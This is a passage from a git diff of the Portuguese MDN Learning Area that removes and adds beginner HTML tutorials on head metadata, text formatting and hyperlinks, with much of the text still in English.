  7. <meta charset="utf-8">: This element sets the character set your document should use to UTF-8, which includes most characters from the vast majority of human written languages. Essentially it can now handle any textual content you might put on it. There is no reason not to set this, and it can help avoid some problems later on.
  8. -
  9. <title></title>: The {{htmlelement("title")}} element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in, and is used to describe the page when you bookmark/favourite it.
  10. -
  11. <body></body>: The {{htmlelement("body")}} element. This contains all the content that you want to show to web users when they visit your page, whether that's text, images, videos, games, playable audio tracks, or whatever else.
  12. -
- -

Aprendizagem ativa: Adicionar alguns recursos a um documento HTML

- -

If you want to experiment with writing some HTML on your local computer, you can:

- -
    -
  1. Copy the HTML page example listed above.
  2. -
  3. Create a new file in your text editor.
  4. -
  5. Paste the code into the new text file.
  6. -
  7. Save the file as index.html.
  8. -
- -
-

Nota: You can also find this basic HTML template on the MDN Learning Area Github repo.

-
- -

You can now open this file in a web browser to see what the rendered code looks like, and then edit the code and refresh the browser to see what the result is. Initially it will look like this:

- -

A simple HTML page that says This is my pageSo in this exercise, you can edit the code locally on your computer, as outlined above, or you can edit it in the editable sample window below (the editable sample window represents just the contents of the {{htmlelement("body")}} element, in this case.) We'd like you to have a go at implementing the following steps:

- - - -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code3', 700, 600) }}

- -

Espaço em branco em HTML

- -

In the above examples you may have noticed that a lot of whitespace is included in the code listings — this is not necessary at all; the two following code snippets are equivalent:

- -
<p>Dogs are silly.</p>
-
-<p>Dogs        are
-         silly.</p>
- -

No matter how much whitespace you use (which can include space characters, but also line breaks), the HTML parser reduces each one down to a single space when rendering the code. So why use so much whitespace? The answer is readability — it is so much easier to understand what is going on in your code if you have it nicely formatted, and not just bunched up together in a big mess. In our HTML we've got each nested element indented by two spaces more than the one it is sitting inside. It is up to you what style of formatting you use (how many spaces for each level of indentation, for example), but you should consider using some kind of formatting.

- -

Referências de entidade: incluindo carateres especiais em HTML

- -

In HTML, the characters <, >,",' and & are special characters. They are parts of the HTML syntax itself, so how do you include one of these characters in your text, for example if you really want to use an ampersand or less than sign, and not have it interpreted as code as some browsers may do?

- -

We have to use character references — special codes that represent characters, and can be used in these exact circumstances. Each character reference is started with an ampersand (&), and ended by a semi-colon (;).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caráter literalReferência de caráter equivalente
<&lt;
>&gt;
"&quot;
'&apos;
&&amp;
- -

In the below example, you can see two paragraphs, which are talking about web technologies:

- -
<p>In HTML, you define a paragraph using the <p> element.</p>
-
-<p>In HTML, you define a paragraph using the &lt;p&gt; element.</p>
- -

In the live output below, you can see that the first paragraph has gone wrong, because the browser thinks that the second instance of <p> is starting a new paragraph. The second paragraph looks fine, because we have replaced the angle brackets with character references.

- -

{{ EmbedLiveSample('Entity_references_including_special_characters_in_HTML', 700, 200) }}

- -
-

Nota: A chart of all the available HTML character entity references can be found on Wikipedia: List of XML and HTML character entity references.

-
- -

Comentários de HTML

- -

In HTML, as with most programming languages, there is a mechanism available to write comments in the code — comments are ignored by the browser and invisible to the user, and their purpose is to allow you to include comments in the code to say how your code works, what the different parts of the code do, etc. This can be very useful if you return to a code base that you've not worked on for six months, and can't remember what you did — or if you hand your code over to someone else to work on.

- -

To turn a section of content inside your HTML file into a comment, you need to wrap it in the special markers <!-- and -->, for example:

- -
<p>I'm not inside a comment</p>
-
-<!-- <p>I am!</p> -->
- -

As you can see below, the first paragraph appears in the live output, but the second one doesn't.

- -

{{ EmbedLiveSample('HTML_comments', 700, 100) }}

- -

Resumo

- -

You've reached the end of the article — we hope you enjoyed your tour of the very basics of HTML! At this point you should understand what the language looks like, how it works at a basic level, and be able to write a few elements and attributes. This is a perfect place to be right now, as in subsequent articles in the module we will go into some of the things you have already looked at in a lot more detail, and introduce some new features of the language. Stay tuned!

- -
-

Note: At this point, as you start to learn more about HTML, you might also want to start to explore the basics of Cascading Style Sheets, or CSS. CSS is the language you use to style your web pages (whether e.g. changing the font or colors, or altering the page layout). HTML and CSS go very well together, as you'll soon discover.

-
- -

Consulte também

- - - -
{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/introducao_ao_html/os_metadados_de_head_em_html/index.html b/files/pt-pt/learn/html/introducao_ao_html/os_metadados_de_head_em_html/index.html deleted file mode 100644 index 099166b821..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/os_metadados_de_head_em_html/index.html +++ /dev/null @@ -1,346 +0,0 @@ ---- -title: O que está em "head"? Metadados em HTML -slug: Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML -tags: - - Guía - - HTML - - Idioma - - Meta - - Principiante - - head - - metadados -translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introducao_ao_HTML")}}
- -

{{glossary("Head", "Head")}} de um documento HTML é a parte que não é exibida no navegador da Web quando a página é carregada. Este contém a informação, tais como o {{htmlelement("title", "título")}} da página, hiperligações para {{glossary("CSS")}} (se pretender estilizar o seu conteúdo HTML com CSS), hiperligações para favicons personalizados, e outros metadados (dados sobre o HTML, tais como quem o escreveu, e palavras-chave importantes que descrevem o documento.) Neste artigo nós iremos abranger todas as coisas acima e muito mais, para lhe dar bons conceitos básicos para lidar com a marcação e outro código que deverá estar no seu head.

- - - - - - - - - - - - -
Pré-requisitos:Basic HTML familiarity, as covered in Getting started with HTML.
Objetivo:To learn about the HTML head, what its purpose is, the most important items it can contain, and what effect it can have on the HTML document.
- -

O que é head no HTML?

- -

Let's revisit the simple HTML document we covered in the previous article:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>My test page</title>
-  </head>
-  <body>
-    <p>This is my page</p>
-  </body>
-</html>
- -

The HTML head is the contents of the {{htmlelement("head")}} element — unlike the contents of the {{htmlelement("body")}} element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page. Instead, the head's job is to contain {{glossary("Metadata", "metadata")}} about the document. In the above example, the head is quite small:

- -
<head>
-  <meta charset="utf-8">
-  <title>My test page</title>
-</head>
- -

In larger pages however, the head can get quite full of items — try going to some of your favorite websites and using the developer tools to check out their head contents. Our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the most obvious things you'll want to include in the head, and give you some familiarity. Let's get started.

- -

Adding a title

- -

We've already seen the {{htmlelement("title")}} element in action — this can be used to add a title to the document. This however can get confused with the {{htmlelement("h1")}} element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. But they are different things!

- - - -

Active learning: Inspecting a simple example

- -
    -
  1. To start off this active learning, we'd like you to go to our GitHub repo and download a copy of our title-example.html page. To do this, either - -
      -
    1. Copy and paste the code out of the page and into a new text file in your code editor, then save it in a sensible place.
    2. -
    3. Press the "Raw" button on the page, which causes the raw code to appear in a new browser tab. Next, from your browser's menu choose File > Save Page As... in your browser's menu then choose a place to save the file.
    4. -
    -
  2. -
  3. Now open the file in your browser. You should see something like this: -

    A simple web page with the title set to <title> element, and the <h1> set to <h1> element.It should now be completely obvious where the <h1> content appears, and where the <title> content appears!

    -
  4. -
  5. You should also try opening the code up in your code editor, editing the contents of these elements, then refreshing the page in your browser. Have some fun with it.
  6. -
- -

The <title> element contents are also used in other ways. For example, if you try bookmarking the page (Bookmarks > Bookmark This Page or the star icon in the URL bar in Firefox), you will see the <title> contents filled in as the suggested bookmark name.

- -

A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the <title> element

- -

The <title> contents are also used in search results, as you'll see below.

- -

Metadata: the <meta> element

- -

Metadata is data that describes data, and HTML has an "official" way of adding metadata to a document — the {{htmlelement("meta")}} element. Of course, the other stuff we are talking about in this article could also be thought of as metadata too. There are a lot of different types of <meta> element that can be included in your page's <head>, but we won't try to explain them all at this stage, as it would just get too confusing. Instead, we'll explain a few things that you might commonly see, just to give you an idea.

- -

Specifying your document's character encoding

- -

In the example we saw above, this line was included:

- -
<meta charset="utf-8">
- -

This element simply specifies the document's character encoding — the character set that the document is permitted to use. utf-8 is a universal character set that includes pretty much any character from any human language. This means that your web page will be able to handle displaying any language; it's therefore a good idea to set this on every web page you create! For example, your page could handle English and Japanese just fine:

- -

a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine,If you set your character encoding to ISO-8859-1, for example (the character set for the Latin alphabet), your page rendering would be all messed up:

- -

a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly

- -

Active learning: Experiment with character encoding

- -

To try this out, revisit the simple HTML template you obtained in the previous section on <title> (the title-example.html page), try changing the meta charset value to ISO-8859-1, and add the Japanese to your page. This is the code we used:

- -
<p>Japanese example: ご飯が熱い。</p>
- -

Adding an author and description

- -

Many <meta> elements include name and content attributes:

- - - -

Two such meta elements that are useful to include on your page define the author of the page, and provide a concise description of the page. Let's look at an example:

- -
<meta name="author" content="Chris Mills">
-<meta name="description" content="The MDN Learning Area aims to provide
-complete beginners to the Web with all they need to know to get
-started with developing web sites and applications.">
- -

Specifying an author is useful in a few ways: it is useful to be able to work out who wrote the page, if you want to contact them with questions about the content. Some content management systems have facilities to automatically extract page author information and make it available for such purposes.

- -

Specifying a description that includes keywords relating to the content of your page is useful as it has the potential to make your page appear higher in relevant searches performed in search engines (such activities are termed Search Engine Optimization, or {{glossary("SEO")}}.)

- -

Active learning: The description's use in search engines

- -

The description is also used on search engine result pages. Let's go through an exercise to explore this

- -
    -
  1. Go to the front page of The Mozilla Developer Network.
  2. -
  3. View the page's source (Right/Ctrl + click on the page, choose View Page Source from the context menu.)
  4. -
  5. Find the description meta tag. It will look like this: -
    <meta name="description" content="The Mozilla Developer Network (MDN) provides
    -information about Open Web technologies including HTML, CSS, and APIs for both
    -Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
    -
  6. -
  7. Now search for "Mozilla Developer Network" in your favorite search engine (We used Yahoo.) You'll notice the description <meta> and <title> element content used in the search result — definitely worth having! -

    A Yahoo search result for "Mozilla Developer Network"

    -
  8. -
- -
-

Note: In Google, you will see some relevant subpages of MDN listed below the main MDN homepage link — these are called sitelinks, and are configurable in Google's webmaster tools — a way to make your site's search results better in the Google search engine.

-
- -
-

Note: Many <meta> features just aren't used any more. For example, the keyword <meta> element (<meta name="keywords" content="fill, in, your, keywords, here">) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spammers were just filling the keyword list with hundreds of keywords, biasing results.

-
- -

Other types of metadata

- -

As you travel around the web, you'll find other types of metadata, too. A lot of the features you'll see on websites are proprietary creations, designed to provide certain sites (such as social networking sites) with specific pieces of information they can use.

- -

For example, Open Graph Data is a metadata protocol that Facebook invented to provide richer metadata for websites. In the MDN sourcecode, you'll find this:

- -
<meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png">
-<meta property="og:description" content="The Mozilla Developer Network (MDN) provides
-information about Open Web technologies including HTML, CSS, and APIs for both Web sites
-and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
-<meta property="og:title" content="Mozilla Developer Network">
- -

One effect of this is that when you link to MDN on facebook, the link appears along with an image and description: a richer experience for users.

- -

Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.Twitter also has its own similar proprietary metadata, which has a similar effect when the site's URL is displayed on twitter.com. For example:

- -
<meta name="twitter:title" content="Mozilla Developer Network">
- -

Adding custom icons to your site

- -

To further enrich your site design, you can add references to custom icons in your metadata, and these will be displayed in certain contexts.

- -

The humble favicon, which has been around for many years, was the first icon of this type, a 16 x 16 pixel icon used in multiple places. You'll see favicons displayed in the browser tab containing each open page, and next to bookmarked pages in the bookmarks panel.

- -

A favicon can be added to your page by:

- -
    -
  1. Saving it in the same directory as the site's index page, saved in .ico format (most browsers will support favicons in more common formats like .gif or .png, but using the ICO format will ensure it works as far back as Internet Explorer 6.)
  2. -
  3. Adding the following line into your HTML <head> to reference it: -
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    -
  4. -
- -

Here is an example of a favicon in a bookmarks panel:

- -

The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it.

- -

There are lots of other icon types to consider these days as well. For example, you'll find this in the source code of the MDN homepage:

- -
<!-- third-generation iPad with high-resolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png">
-<!-- iPhone with high-resolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png">
-<!-- first- and second-generation iPad: -->
-<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png">
-<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
-<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png">
-<!-- basic favicon -->
-<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png">
- -

The comments explain what each icon is used for — these elements cover things like providing a nice high resolution icon to use when the website is saved to an iPad's home screen.

- -

Don't worry too much about implementing all these types of icon right now — this is a fairly advanced feature, and you won't be expected to have knowledge of this to progress through the course. The main purpose here is to let you know what such things are, in case you come across them while browsing other websites' source code.

- -

Applying CSS and JavaScript to HTML

- -

Just about all websites you'll use in the modern day will employ {{glossary("CSS")}} to make them look cool, and {{glossary("JavaScript")}} to power interactive functionality, such as video players, maps, games, and more. These are most commonly applied to a web page using the {{htmlelement("link")}} element and the {{htmlelement("script")}} element, respectively.

- - - -

Active learning: applying CSS and JavaScript to a page

- -
    -
  1. To start this active learning, grab a copy of our meta-example.html, script.js and style.css files, and save them on your local computer in the same directory. Make sure they are saved with the correct names and file extensions.
  2. -
  3. Open the HTML file in both your browser, and your text editor.
  4. -
  5. By following the information given above, add {{htmlelement("link")}} and {{htmlelement("script")}} elements to your HTML, so that your CSS and JavaScript are applied to your HTML.
  6. -
- -

If done correctly, when you save your HTML and refresh your browser you'll see that things have changed:

- -

Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page.

- - - -
-

Note: If you get stuck in this exercise and can't get the CSS/JS to apply, try checking out our css-and-js.html example page.

-
- -

Setting the primary language of the document

- -

Finally, it's worth mentioning that you can (and really should) set the language of your page. This can be done by adding the lang attribute to the opening HTML tag (as seen in the meta-example.html and shown below.)

- -
<html lang="en-US">
- -

This is useful in many ways. Your HTML document will be indexed more effectively by search engines if its language is set (allowing it to appear correctly in language-specific results, for example), and it is useful to people with visual impairments using screen readers (for example, the word "six" exists in both French and English, but is pronounced differently.)

- -

You can also set subsections of your document to be recognised as different languages. For example, we could set our Japanese language section to be recognised as Japanese, like so:

- -
<p>Japanese example: <span lang="jp">ご飯が熱い。</span>.</p>
- -

These codes are defined by the ISO 639-1 standard. You can find more about them in Language tags in HTML and XML.

- -

Resumo

- -

That marks the end of our quickfire tour of the HTML head — there's a lot more you can do in here, but an exhaustive tour would be boring and confusing at this stage, and we just wanted to give you an idea of the most common things you'll find in there for now! In the next article we'll be looking at HTML text fundamentals.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}

- -
- - - - - -
diff --git a/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html new file mode 100644 index 0000000000..882f2eec7b --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -0,0 +1,691 @@ +--- +title: Formatação avançada de texto +slug: Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto +tags: + - Aprender + - Guía + - HTML + - Principiante + - Texto + - abreviatura + - semántica +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}
+ +

There are many other elements in HTML for formatting text, which we didn't get to in the HTML text fundamentals article. The elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). Here you'll learn about marking up quotations, description lists, computer code and other related text, subscript and superscript, contact information, and more.

+ + + + + + + + + + + + +
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
Objective:To learn how to use lesser-known HTML elements to mark up advanced semantic features.
+ +

Description lists

+ +

In HTML text fundamentals, we walked through how to mark up basic lists in HTML, but we didn't mention the third type of list you'll occasionally come across — description lists. The purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers. Let's look at an example of a set of terms and definitions:

+ +
soliloquy
+In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
+monologue
+In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
+aside
+In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information
+ +

Description lists use a different wrapper than the other list types — {{htmlelement("dl")}}; in addition each term is wrapped in a {{htmlelement("dt")}} (description term) element, and each description is wrapped in a {{htmlelement("dd")}} (description definition) element. Let's finish marking up our example:

+ +
<dl>
+  <dt>soliloquy</dt>
+  <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
+  <dt>monologue</dt>
+  <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
+  <dt>aside</dt>
+  <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought, or piece of additional background information.</dd>
+</dl>
+ +

The browser default styles will display description lists with the descriptions indented somewhat from the terms. MDN's styles follow this convention fairly closely, but also embolden the terms for extra definition.

+ +
+
soliloquy
+
In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
+
monologue
+
In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
+
aside
+
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
+
+ +

Note that it is permitted to have a single term with multiple descriptions, for example:

+ +
+
aside
+
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
+
In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)
+
+ +

Active learning: Marking up a set of definitions

+ +

It's time to try your hand at description lists; add elements to the raw text in the Input field so that it appears as a description list in the Output field. You could try using your own terms and descriptions if you like.

+ +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

+ +

Quotations

+ +

HTML also has features available for marking up quotations; which element you use depends on whether you are marking up a block or inline quotation.

+ +

Blockquotes

+ +

If a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a {{htmlelement("blockquote")}} element to signify this, and include a URL pointing to the source of the quote inside a {{htmlattrxref("cite","blockquote")}} attribute. For example, the following markup is taken from the MDN <blockquote> element page:

+ +
<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
+Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+ +

To turn this into a block quote, we would just do this:

+ +
<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
+  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+</blockquote>
+ +

Browser default styling will render this as an indented paragraph, as an indicator that it is a quote; MDN does this, but also adds some extra styling:

+ +
+

The HTML <blockquote> Element (or HTML Block Quotation Element) indicates that the enclosed text is an extended quotation.

+
+ +

Inline quotations

+ +

Inline quotations work in exactly the same way, except that they use the {{htmlelement("q")}} element. For example, the below bit of markup contains a quotation from the MDN <q> page:

+ +
<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
+for short quotations that don't require paragraph breaks.</q></p>
+ +

Browser default styling will render this as normal text put in quotes to indicate a quotation, like so:

+ +

The quote element — <q> — is intended for short quotations that don't require paragraph breaks.

+ +

Citations

+ +

The content of the {{htmlattrxref("cite","blockquote")}} attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. There is no way to get the browser to display the contents of cite, without writing your own solution using JavaScript or CSS. If you want to make the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way.

+ +

There is a {{htmlelement("cite")}} element, but this is meant to contain the title of the resource being quoted, e.g. the name of the book. There is no reason however why you couldn't link the text inside <cite> to the quote source in some way:

+ +
<p>According to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+<cite>MDN blockquote page</cite></a>:
+</p>
+
+<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
+  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+</blockquote>
+
+<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
+for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">
+<cite>MDN q page</cite></a>.</p>
+ +

Citations are styled in italic font by default. You can see this code at work in our quotations.html example.

+ +

Active learning: Who said that?

+ +

Time for another active learning example! In this example we'd like you to:

+ +
    +
  1. Turn the middle paragraph into a blockquote, which includes a cite attribute.
  2. +
  3. Turn part of the third paragraph into an inline quote, which includes a cite attribute.
  4. +
  5. Include a <cite> element for each link to say what the title of the quoted source is.
  6. +
+ +

The citation sources you need are:

+ + + +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}

+ +

Abbreviations

+ +

Another fairly common element you'll meet when looking around the Web is {{htmlelement("abbr")}} — this is used to wrap around an abbreviation or acronym, and provide a full expansion of the term (included inside a {{htmlattrxref("title")}} attribute.) Let's look at a couple of examples:

+ +
<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
+
+<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
+ +

These will come out looking something like this (the expansion will appear in a tooltip when the term is hovered over):

+ +

We use HTML to structure our web documents.

+ +

I think Rev. Green did it in the kitchen with the chainsaw.

+ +
+

Note: There is another element, {{htmlelement("acronym")}}, which basically does the same thing as <abbr>, and was intended specifically for acronyms rather than abbreviations. This however has fallen into disuse — it wasn't supported in browsers as well as <abbr>, and has such a similar function that it was considered pointless to have both. Just use <abbr> instead.

+
+ +

Active learning: marking up an abbreviation

+ +

For this simple active learning assignment, we'd like you to simply mark up an abbreviation. You can use our sample below, or replace it with one of your own. 

+ + + +

{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}

+ +

Marking up contact details

+ +

HTML has an element for marking up contact details — {{htmlelement("address")}}. This simply wraps around your contact details, for example:

+ +
<address>
+  <p>Chris Mills, Manchester, The Grim North, UK</p>
+</address>
+ +

One thing to remember however is that the {{htmlelement("address")}} element is meant for marking up the contact details of the person who wrote the HTML document, not any address. So the above would only be ok if Chris had written the document the markup appears on. Note that something like this would also be ok:

+ +
<address>
+  <p>Page written by <a href="../authors/chris-mills/">Chris Mills</a>.</p>
+</address>
+ +

Superscript and subscript

+ +

You will occasionally need to use superscript and subscript when marking up items like dates, chemical formulae, and mathematical equations so they have the correct meaning. The {{htmlelement("sup")}} and {{htmlelement("sub")}} elements handle this job. For example:

+ +
<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
+<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
+<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
+ +

The output of this code looks like so:

+ +

My birthday is on the 25th of May 2001.

+ +

Caffeine's chemical formula is C8H10N4O2.

+ +

If x2 is 9, x must equal 3 or -3.

+ +

Representing computer code

+ +

There are a number of elements available for marking up computer code using HTML:

+ + + +

Let's look at a few examples. You should try having a play with these (try grabbing a copy of our other-semantics.html sample file):

+ +
<pre><code>var para = document.querySelector('p');
+
+para.onclick = function() {
+  alert('Owww, stop poking me!');
+}</code></pre>
+
+<p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p>
+
+<p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p>
+
+
+<p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
+
+<pre>$ <kbd>ping mozilla.org</kbd>
+<samp>PING mozilla.org (63.245.215.20): 56 data bytes
+64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>
+ +

The above code will look like so:

+ +

{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}

+ +

Marking up times and dates

+ +

HTML also provides the {{htmlelement("time")}} element for marking up times and dates in a machine-readable format. For example:

+ +
<time datetime="2016-01-20">20 January 2016</time>
+ +

Why is this useful? Well, there are many different ways that humans write down dates. The above date could be written as:

+ + + +

But these different forms cannot be easily recognised by computers — what if you wanted to automatically grab the dates of all events in a page and insert them into a calendar? The {{htmlelement("time")}} element allows you to attach an unambiguous, machine-readable time/date for this purpose.

+ +

The basic example above just provides a simple machine readable date, but there are many other options that are possible, for example:

+ +
<!-- Standard simple date -->
+<time datetime="2016-01-20">20 January 2016</time>
+<!-- Just year and month -->
+<time datetime="2016-01">January 2016</time>
+<!-- Just month and day -->
+<time datetime="01-20">20 January</time>
+<!-- Just time, hours and minutes -->
+<time datetime="19:30">19:30</time>
+<!-- You can do seconds and milliseconds too! -->
+<time datetime="19:30:01.856">19:30:01.856</time>
+<!-- Date and time -->
+<time datetime="2016-01-20T19:30">7.30pm, 20 January 2016</time>
+<!-- Date and time with timezone offset-->
+<time datetime="2016-01-20T19:30+01:00">7.30pm, 20 January 2016 is 8.30pm in France</time>
+<!-- Calling out a specific week number-->
+<time datetime="2016-W04">The fourth week of 2016</time>
+ +

Summary

+ +

That marks the end of our study of HTML text semantics. Bear in mind that what you have seen during this course is not an exhaustive list of HTML text elements — we wanted to try to cover the essentials, and some of the more common ones you will see in the wild, or at least might find interesting. To find way more HTML elements, you can take a look at our HTML element reference (the Inline text semantics section would be a great place to start.) In the next article we will look at the HTML elements you'd use to structure the different parts of an HTML document.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..502bfda4cf --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,331 @@ +--- +title: Criar hiperligações +slug: Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes +tags: + - Aprender + - Guía + - HTML + - HTTP + - Hiperligações + - Principiante + - URL + - título +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}
+ +

Hyperlinks are really important — they are what makes the Web a web. This article shows the syntax required to make a link, and discusses link best practices.

+ + + + + + + + + + + + +
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
Objective:To learn how to implement a hyperlink effectively, and link multiple files together.
+ + + +

Hyperlinks are one of the most exciting innovations the Web has to offer. Well, they've been a feature of the Web since the very beginning, but they are what makes the Web a Web — they allow us to link our documents to any other document (or other resource) we want to, we can also link to specific parts of documents, and we can make apps available at a simple web address (contrast this to native apps, which have to be installed and all that business.) Just about any web content can be converted to a link, so that when clicked (or otherwise activated) it will make the web browser go to another web address ({{glossary("URL")}}).

+ +
+

Note: A URL can point to HTML files, text files, images, text documents, video and audio files, and anything else that can live on the Web. If the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on.)

+
+ +

The BBC homepage, for example, contains a large number of links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools) and more.

+ +

frontpage of bbc.co.uk, showing many news items, and navigation menu functionality

+ + + +

A basic link is created by wrapping the text (or other content, see {{anch("Block level links")}}) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} attribute (also known as a Hypertext Reference , or target) that will contain the web address you want the link to point to.

+ +
<p>I'm creating a link to
